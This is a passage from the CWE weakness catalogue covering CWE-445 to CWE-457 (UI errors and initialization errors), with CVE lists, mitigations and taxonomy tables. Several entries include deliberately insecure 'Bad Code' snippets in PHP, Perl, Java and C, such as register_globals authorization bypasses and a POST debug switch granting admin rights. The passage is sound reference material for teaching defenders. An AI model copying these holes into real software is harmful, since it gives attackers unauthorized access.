### Theoretical Notes

Request smuggling can be performed due to a multiple interpretation error, where the target is an intermediary or monitor, via a consistency manipulation (Transfer-Encoding and Content-Length headers).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		HTTP Request Smuggling
WASC	26	HTTP Request Smuggling

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
33	HTTP Request Smuggling	
105	HTTP Request Splitting	

### References

Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin. "HTTP Request Smuggling". < <http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf> >.

## CWE-445: User Interface Errors

Category ID: 445 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category occur within the user interface.

### Applicable Platforms

#### Languages

- All

### Relationships

Nature	Type	ID	Name		Page
ChildOf	C	18	Source Code	V	17
ParentOf	B	446	UI Discrepancy for Security Feature		759
ParentOf	B	450	Multiple Interpretations of UI Input		762
ParentOf	B	451	User Interface (UI) Misrepresentation of Critical Information		763

### Research Gaps

User interface errors that are relevant to security have not been studied at a high level.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	(UI) User Interface Errors

## CWE-446: UI Discrepancy for Security Feature

Weakness ID: 446 (Weakness Base) Status: Incomplete

### Description

#### Summary

The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

#### Extended Description



When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a "restrict ALL" access control rule, but the software only implements "restrict SOME".

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Varies by context

#### Observed Examples

Reference	Description
CVE-1999-1446	UI inconsistency; visited URLs list not cleared when "Clear History" option is selected.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	<b>C</b>	445	User Interface Errors	<b>699</b>	759
ChildOf	<b>B</b>	684	Incorrect Provision of Specified Functionality	<b>1000</b>	1065
ChildOf	<b>C</b>	996	SFP Secondary Cluster: Security	<b>888</b>	1392
ParentOf	<b>B</b>	447	<i>Unimplemented or Unsupported Feature in UI</i>	<b>699</b> 1000	760
ParentOf	<b>B</b>	448	<i>Obsolete Feature in UI</i>	<b>699</b> 1000	761
ParentOf	<b>B</b>	449	<i>The UI Performs the Wrong Action</i>	<b>699</b> 1000	761

#### Relationship Notes

This is often resultant.

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	User interface inconsistency

#### Maintenance Notes

This node is likely a loose composite that could be broken down into the different types of errors that cause the user interface to have incorrect interactions with the underlying security feature.

## CWE-447: Unimplemented or Unsupported Feature in UI

Weakness ID: 447 (Weakness Base)

Status: Draft

#### Description

##### Summary

A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Varies by context

## Observed Examples

Reference	Description
CVE-2000-0127	GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file.
CVE-2001-0863	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.
CVE-2001-0865	Router does not implement a specific keyword when it is used in an ACL, allowing filter bypass.
CVE-2004-0979	Web browser does not properly modify security setting when the user sets it.

## Potential Mitigations

### Testing

Perform functionality testing before deploying the application.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	446	UI Discrepancy for Security Feature	699	759
ChildOf	G	671	Lack of Administrator Control over Security	1000	1038
ChildOf	C	995	SFP Secondary Cluster: Feature	888	1392

## Research Gaps

This issue needs more study, as there are not many examples. It is not clear whether it is primary or resultant.

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unimplemented or unsupported feature in UI

# CWE-448: Obsolete Feature in UI

Weakness ID: 448 (Weakness Base)

Status: Draft

## Description

### Summary

A UI function is obsolete and the product does not warn the user.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Other

### Quality degradation

### Varies by context

## Potential Mitigations

### Architecture and Design

Remove the obsolete feature from the UI. Warn the user that the feature is no longer supported.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	446	UI Discrepancy for Security Feature	699	759
ChildOf	C	995	SFP Secondary Cluster: Feature	888	1392

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Obsolete feature in UI

# CWE-449: The UI Performs the Wrong Action

**Weakness ID:** 449 (*Weakness Base*) **Status:** Incomplete

### Description

#### Summary

The UI performs the wrong action with respect to the user's request.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Quality degradation

##### Varies by context

#### Observed Examples

Reference	Description
CVE-2001-0081	Command line option correctly suppresses a user prompt but does not properly disable a feature, although when the product prompts the user, the feature is properly disabled.
CVE-2001-1387	Network firewall accidentally implements one command line option as if it were another, possibly leading to behavioral infoleak.
CVE-2002-1977	Product does not "time out" according to user specification, leaving sensitive data available after it has expired.

#### Potential Mitigations

##### Testing

Perform extensive functionality testing of the UI. The UI should behave as specified.

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		446	UI Discrepancy for Security Feature	<b>699</b>	759
ChildOf		995	SFP Secondary Cluster: Feature	<b>888</b>	1392

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	The UI performs the wrong action

## CWE-450: Multiple Interpretations of UI Input

**Weakness ID:** 450 (*Weakness Base*) **Status:** Draft

### Description

#### Summary

The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Varies by context

#### Potential Mitigations

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		357	Insufficient UI Warning of Dangerous Operations	<b>1000</b>	621
ChildOf		445	User Interface Errors	<b>699</b>	759
ChildOf		995	SFP Secondary Cluster: Feature	<b>888</b>	1392

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Multiple Interpretations of UI Input

## CWE-451: User Interface (UI) Misrepresentation of Critical Information

Weakness ID: 451 (*Weakness Base*)

Status: Draft

**Description****Summary**

The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.

**Extended Description**

If an attacker can cause the UI to display erroneous data, or to otherwise convince the user to display information that appears to come from a trusted source, then the attacker could trick the user into performing the wrong action. This is often a component in phishing attacks, but other kinds of problems exist. For example, if the UI is used to monitor the security state of a system or network, then omitting or obscuring an important indicator could prevent the user from detecting and reacting to a security-critical event.

UI misrepresentation can take many forms:

**Incorrect indicator:** incorrect information is displayed, which prevents the user from understanding the true state of the software or the environment the software is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.

**Overlay:** an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with

the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.

Icon manipulation: the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)

Timing: the software is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.

Visual truncation: important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe").

A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.

Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.

Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Non-Repudiation

##### Access Control

##### Hide activities

##### Bypass protection mechanism

#### Observed Examples

Reference	Description
CVE-2001-0398	Attachment with many spaces in filename bypasses "dangerous content" warning and uses different icon. Likely resultant.
CVE-2001-0643	Misrepresentation and equivalence issue.
CVE-2001-1410	Visual distinction: Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method.
CVE-2002-0197	Visual distinction: Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate.
CVE-2002-0722	Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialogue box.
CVE-2003-1025	Visual truncation: Special character in URL causes web browser to truncate the user portion of the "user@domain" URL, hiding real domain in the address bar.
CVE-2004-0537	Overlay: Wide "favorites" icon can overlay and obscure address bar
CVE-2004-0761	Incorrect indicator: Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted.
CVE-2004-1104	Incorrect indicator: web browser can be tricked into presenting the wrong URL
CVE-2004-145	Visual truncation: Null character in URL prevents entire URL from being displayed in web browser.
CVE-2004-2219	Incorrect indicator: Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar.

Reference	Description
CVE-2004-2227	Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions.
CVE-2004-2258	Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab.
CVE-2004-2530	Visual truncation: Visual truncation in chat client using whitespace to hide dangerous file extension.
CVE-2005-0143	Incorrect indicator: Lock icon displayed when an insecure page loads a binary file loaded from a trusted site.
CVE-2005-0144	Incorrect indicator: Secure "lock" icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel.
CVE-2005-0243	Visual truncation: Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions.
CVE-2005-0590	Visual truncation: Dialog box in web browser allows user to spoof the hostname via a long "user:pass" sequence in the URL, which appears before the real hostname.
CVE-2005-0593	Lock spoofing from several different weaknesses.
CVE-2005-0831	Visual distinction: Product allows spoofing names of other users by registering with a username containing hex-encoded characters.
CVE-2005-1575	Visual truncation: Web browser file download type can be hidden using whitespace.
CVE-2005-1678	Miscellaneous -- Dangerous file extensions not displayed.
CVE-2005-2271	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
CVE-2005-2272	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
CVE-2005-2273	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
CVE-2005-2274	Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
OSVDB:5703	Overlay: GUI overlay can trick a user into clicking on a prompt for a dangerous activity.
OSVDB:6009	Visual truncation: web browser obscures URLs using a large amount of whitespace.

### Potential Mitigations

#### Implementation

##### Input Validation







Perform data validation (e.g. syntax, length, etc.) before interpreting the data.

#### Architecture and Design

##### Output Encoding

Create a strategy for presenting information, and plan for how to display unusual characters.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		221	Information Loss or Omission	<input checked="" type="checkbox"/>	413
PeerOf		346	Origin Validation Error	<input checked="" type="checkbox"/>	602
ChildOf		445	User Interface Errors	<input checked="" type="checkbox"/>	759
ChildOf		684	Incorrect Provision of Specified Functionality	<input checked="" type="checkbox"/>	1065
ChildOf		995	SFP Secondary Cluster: Feature	<input checked="" type="checkbox"/>	1392
MemberOf		884	<i>CWE Cross-section</i>	<input checked="" type="checkbox"/>	1319

### Research Gaps

Misrepresentation problems are frequently studied in web browsers, but there are no known efforts for classifying these kinds of problems in terms of the shortcomings of the interface. In addition, many misrepresentation issues are resultant.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	UI Misrepresentation of Critical Information

### References

David Wheeler. "Secure Programming for Linux and Unix HOWTO". 7.16. Foil Semantic Attacks. 2003-03-03. < <http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/semantic-attacks.html> >.

### Maintenance Notes

This entry could be broken down into smaller entries. It is probably more like a Class than a Base.

## CWE-452: Initialization and Cleanup Errors

Category ID: 452 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category occur in behaviors that are used for initialization and breakdown.

### Applicable Platforms

#### Languages

- All

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	699	17
ParentOf	B	453	Insecure Default Variable Initialization	699	766
ParentOf	B	454	External Initialization of Trusted Variables or Data Stores	699	767
ParentOf	B	455	Non-exit on Failed Initialization	699	769
ParentOf	B	456	Missing Initialization of a Variable	699	770
ParentOf	B	459	Incomplete Cleanup	699	775
ParentOf	V	460	Improper Cleanup on Thrown Exception	699	777
ParentOf	B	665	Improper Initialization	699	1027
ParentOf	B	908	Use of Uninitialized Resource	699	1330
ParentOf	B	909	Missing Initialization of Resource	699	1332
ParentOf	B	910	Use of Expired File Descriptor	699	1334
ParentOf	B	911	Improper Update of Reference Count	699	1335

### Research Gaps

Most of these initialization errors are significant factors in other weaknesses. Researchers tend to ignore these, concentrating instead on the resultant weaknesses, so their frequency is uncertain, at least based on published vulnerabilities.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Initialization and Cleanup Errors

## CWE-453: Insecure Default Variable Initialization

Weakness ID: 453 (Weakness Base) Status: Draft

### Description

#### Summary

The software, by default, initializes an internal variable with an insecure or less secure value than is possible.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages



- PHP (Sometimes)
- All

### Common Consequences

#### Integrity

#### Modify application data

An attacker could gain access to and modify sensitive data or system information.

### Demonstrative Examples

This code attempts to login a user using credentials from a POST request:

#### PHP Example:

*Bad Code*

```
// $user and $pass automatically set from POST request
if (login_user($user,$pass)) {
    $authorized = true;
}
...
if ($authorized) {
    generatePage();
}
```

Because the `$authorized` variable is never initialized, PHP will automatically set `$authorized` to any value included in the POST request if `register_globals` is enabled. An attacker can send a POST request with an unexpected third value 'authorized' set to 'true' and gain authorized status without supplying valid credentials.

Here is a fixed version:

#### PHP Example:

*Bad Code*

```
$user = $_POST['user'];
$pass = $_POST['pass'];
$authorized = false;
if (login_user($user,$pass)) {
    $authorized = true;
}
...
```

This code avoids the issue by initializing the `$authorized` variable to false and explicitly retrieving the login credentials from the `$_POST` variable. Regardless, `register_globals` should never be enabled and is disabled by default in current versions of PHP.

### Potential Mitigations

#### System Configuration

Disable or change default settings when they can be used to abuse the system. Since those default settings are shipped with the product they are likely to be known by a potential attacker who is familiar with the product. For instance, default credentials should be changed or the associated accounts should be disabled.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		452	Initialization and Cleanup Errors		699 766
ChildOf		665	Improper Initialization		1000 1027
ChildOf		966	SFP Secondary Cluster: Other Exposures		888 1379
MemberOf		884	CWE Cross-section		884 1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insecure default variable initialization

### Maintenance Notes

This overlaps other categories, probably should be split into separate items.

## CWE-454: External Initialization of Trusted Variables or Data Stores

Weakness ID: 454 (Weakness Base)

Status: Draft

**Description****Summary**

The software initializes critical internal variables or data stores using inputs that can be modified by untrusted actors.

**Extended Description**

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary, especially if they are initialized by users. They may have been initialized incorrectly. If an attacker can initialize the variable, then he/she can influence what the vulnerable system will do.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- PHP (Sometimes)
- Language-independent

**Platform Notes****Common Consequences****Integrity****Modify application data**

An attacker could gain access to and modify sensitive data or system information.

**Demonstrative Examples****Example 1:**

In the Java example below, a system property controls the debug level of the application.

**Java Example:***Bad Code*

```
int debugLevel = Integer.getInteger("com.domain.application.debugLevel").intValue();
```

If an attacker is able to modify the system property, then it may be possible to coax the application into divulging sensitive information by virtue of the fact that additional debug information is printed/exposed as the debug level increases.

**Example 2:**

This code checks the HTTP POST request for a debug switch, and enables a debug mode if the switch is set.

**PHP Example:***Bad Code*

```
$debugEnabled = false;
if ($_POST["debug"] == "true"){
    $debugEnabled = true;
}
.../
function login($username, $password){
    if($debugEnabled){
        echo 'Debug Activated';
        phpinfo();
        $isAdmin = True;
        return True;
    }
}
```

Any user can activate the debug mode, gaining administrator privileges. An attacker may also use the information printed by the phpinfo() function to further exploit the system. .

This example also exhibits Information Exposure Through Debug Information (CWE-215)

**Observed Examples**

Reference	Description
CVE-2000-0959	Does not clear dangerous environment variables, enabling symlink attack.
CVE-2001-0033	Specify alternate configuration directory in environment variable, enabling untrusted path.

Reference	Description
CVE-2001-0084	Specify arbitrary modules using environment variable.
CVE-2001-0872	Dangerous environment variable not cleansed.

### Potential Mitigations

#### Implementation

##### Input Validation

A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking (e.g. input validation) is performed when relying on input from outside a trust boundary.

##### Architecture and Design

Avoid any external control of variables. If necessary, restrict the variables that can be modified using a whitelist, and use a different namespace or naming convention if possible.

### Relationships

Nature	Type	ID	Name		Page
ChildOf	<b>C</b>	452	Initialization and Cleanup Errors	<b>699</b>	766
CanAlsoBe	<b>B</b>	456	Missing Initialization of a Variable	1000	770
ChildOf	<b>B</b>	665	Improper Initialization	<b>1000</b>	1027
ChildOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244
ChildOf	<b>C</b>	994	SFP Secondary Cluster: Tainted Input to Variable	<b>888</b>	1391
MemberOf	<b>V</b>	884	<i>CWE Cross-section</i>	<b>884</b>	1319

### Relationship Notes

Overlaps Missing variable initialization, especially in PHP.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		External initialization of trusted variables or values
Software Fault Patterns	SFP25	Tainted input to variable

## CWE-455: Non-exit on Failed Initialization

Weakness ID: 455 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error, which can cause the software to execute in a less secure fashion than intended by the administrator.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Other

##### Modify application data

##### Alter execution logic

The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.

### Demonstrative Examples

The following code intends to limit certain operations to the administrator only.

#### Perl Example:

*Bad Code*

```
$username = GetCurrentUser();
$state = GetStateData($username);
```

```

if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}

```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

### Observed Examples

Reference	Description
CVE-2005-1345	Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file.

### Potential Mitigations

#### Implementation

Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	452	Initialization and Cleanup Errors	699	766
ChildOf	C	636	Not Failing Securely ('Failing Open')	1000	983
ChildOf	B	665	Improper Initialization	1000	1027
ChildOf	C	705	Incorrect Control Flow Scoping	1000	1105
ChildOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1376
MemberOf	V	884	CWE Cross-section	884	1319

### Research Gaps

Under-studied. These issues are not frequently reported, and it is difficult to find published examples.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Non-exit on Failed Initialization

## CWE-456: Missing Initialization of a Variable

Weakness ID: 456 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software does not initialize critical variables, which causes the execution environment to use unexpected values.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Integrity

##### Other

##### Unexpected state

##### Quality degradation

##### Varies by context

The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.

## Demonstrative Examples

### Example 1:

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a `NullPointerException` to be thrown.

#### Java Example:

*Bad Code*

```
private User user;
public void someMethod() {
    // Do something interesting.
    ...
    // Throws NPE if user hasn't been properly initialized.
    String username = user.getName();
}
```

### Example 2:

This code first authenticates a user, then allows a delete command if the user is an administrator.

#### PHP Example:

*Bad Code*

```
if (authenticate($username,$password) && setAdmin($username)){
    $isAdmin = true;
}
.../
if ($isAdmin){
    deleteUser($userToDelete);
}
```

The `$isAdmin` variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's `register_globals` feature is enabled, an attacker can set uninitialized variables like `$isAdmin` to arbitrary values, in this case gaining administrator privileges by setting `$isAdmin` to true.

### Example 3:

In the following Java code the `BankManager` class uses the user variable of the class `User` to allow authorized users to perform bank manager tasks. The user variable is initialized within the method `setUser` that retrieves the `User` from the `User` database. The user is then authenticated as unauthorized user through the method `authenticateUser`.

#### Java Example:

*Bad Code*

```
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager() {
        ...
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username){
        ...
    }
    // set user variable using username
    public void setUser(String username) {
        this.user = getUserFromUserDatabase(username);
    }
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {
            isUserAuthentic = true;
        }
        return isUserAuthentic;
    }
    // methods for performing bank manager tasks
    ...
}
```

However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code.

**Java Example:**

Good Code

```
public class BankManager {
    // user allowed to perform bank manager tasks
    private User user = null;
    private boolean isUserAuthentic = false;
    // constructor for BankManager class
    public BankManager(String username) {
        user = getUserFromUserDatabase(username);
    }
    // retrieve user from database of users
    public User getUserFromUserDatabase(String username) {...}
    // authenticate user
    public boolean authenticateUser(String username, String password) {
        if (user == null) {
            System.out.println("Cannot find user " + username);
        }
        else {
            if (password.equals(user.getPassword())) {
                isUserAuthentic = true;
            }
        }
        return isUserAuthentic;
    }
    // methods for performing bank manager tasks
    ...
}
```

**Observed Examples**

Reference	Description
CVE-2005-2109	Internal variable in PHP application is not initialized, allowing external modification.
CVE-2005-2193	Array variable not initialized in PHP application, leading to resultant SQL injection.
CVE-2005-2978	Product uses uninitialized variables for size and index, leading to resultant buffer overflow.

**Potential Mitigations****Implementation**

Check that critical variables are initialized.

**Testing**

Use a static analysis tool to spot non-initialized variables.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
CanPrecede	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	1000	159
CanPrecede	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1000	184
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	234
ChildOf	C	452	Initialization and Cleanup Errors	699	766
CanPrecede	V	457	Use of Uninitialized Variable	699 1000	773
ChildOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1244
ChildOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1310
ChildOf	B	909	Missing Initialization of Resource	1000	1332
ChildOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1393
CanAlsoBe	B	454	External Initialization of Trusted Variables or Data Stores	1000	767
MemberOf	V	884	CWE Cross-section	884	1319

**Relationship Notes**

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

### Research Gaps

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Missing Initialization
Software Fault Patterns	SFP1	Glitch in computation

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312.. 1st Edition. Addison Wesley. 2006.

## CWE-457: Use of Uninitialized Variable

Weakness ID: 457 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

#### Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C (*Sometimes*)
- C++ (*Sometimes*)
- Perl (*Often*)
- PHP (*Often*)
- Language-independent

### Modes of Introduction

In C, using an uninitialized char \* in some string libraries will return incorrect results, as the libraries expect the null terminator to always be at the end of a string, even if the string is empty.

### Common Consequences

#### Availability

#### Integrity

#### Other

#### Other

Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.

### Authorization

#### Other

#### Other

Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.



## Likelihood of Exploit

High

## Demonstrative Examples

### Example 1:

This code prints a greeting using information stored in a POST request:

#### PHP Example:

*Bad Code*

```
if (isset($_POST['names'])) {
    $nameArray = $_POST['names'];
}
echo "Hello " . $nameArray['first'];
```

This code checks if the POST array 'names' is set before assigning it to the \$nameArray variable. However, if the array is not in the POST request, \$nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

### Example 2:

The following switch statement is intended to set the values of the variables aN and bN before they are used:

#### C Example:

*Bad Code*

```
int aN, bN;
switch (ctl) {
    case -1:
        aN = 0;
        bN = 0;
        break;
    case 0:
        aN = i;
        bN = -i;
        break;
    case 1:
        aN = i + NEXT_SZ;
        bN = i - NEXT_SZ;
        break;
    default:
        aN = -1;
        aN = -1;
        break;
}
repaint(aN, bN);
```

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

## Observed Examples

Reference	Description
CVE-2007-2728	Uninitialized random seed variable used.
CVE-2007-3468	Crafted audio file triggers crash when an uninitialized variable is used.
CVE-2007-4682	Crafted input triggers dereference of an uninitialized object pointer.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.

## Potential Mitigations

### Implementation

#### Identify and Reduce Attack Surface

Assign all variables to an initial value.

**Build and Compilation****Compilation or Build Hardening**

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

**Implementation****Operation**

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

**Requirements**

The choice could be made to use a language that is not susceptible to these issues.

**Architecture and Design**

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		398	Indicator of Poor Code Quality		700 684
ChildOf		665	Improper Initialization		699 1027 1000
ChildOf		998	SFP Secondary Cluster: Glitch in Computation		888 1393
CanFollow		456	<i>Missing Initialization of a Variable</i>		699 770 1000
MemberOf		630	<i>Weaknesses Examined by SAMATE</i>		630 980

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Uninitialized variable
7 Pernicious Kingdoms		Uninitialized Variable
Software Fault Patterns	SFP1	Glitch in computation

**White Box Definitions**

A weakness where the code path has:

1. start statement that defines variable
2. end statement that accesses the variable
3. the code path does not contain a statement that assigns value to the variable

**References**

mercy. "Exploiting Uninitialized Data". Jan 2006. < <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip> >.

Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008-03-11. < <http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx> >.

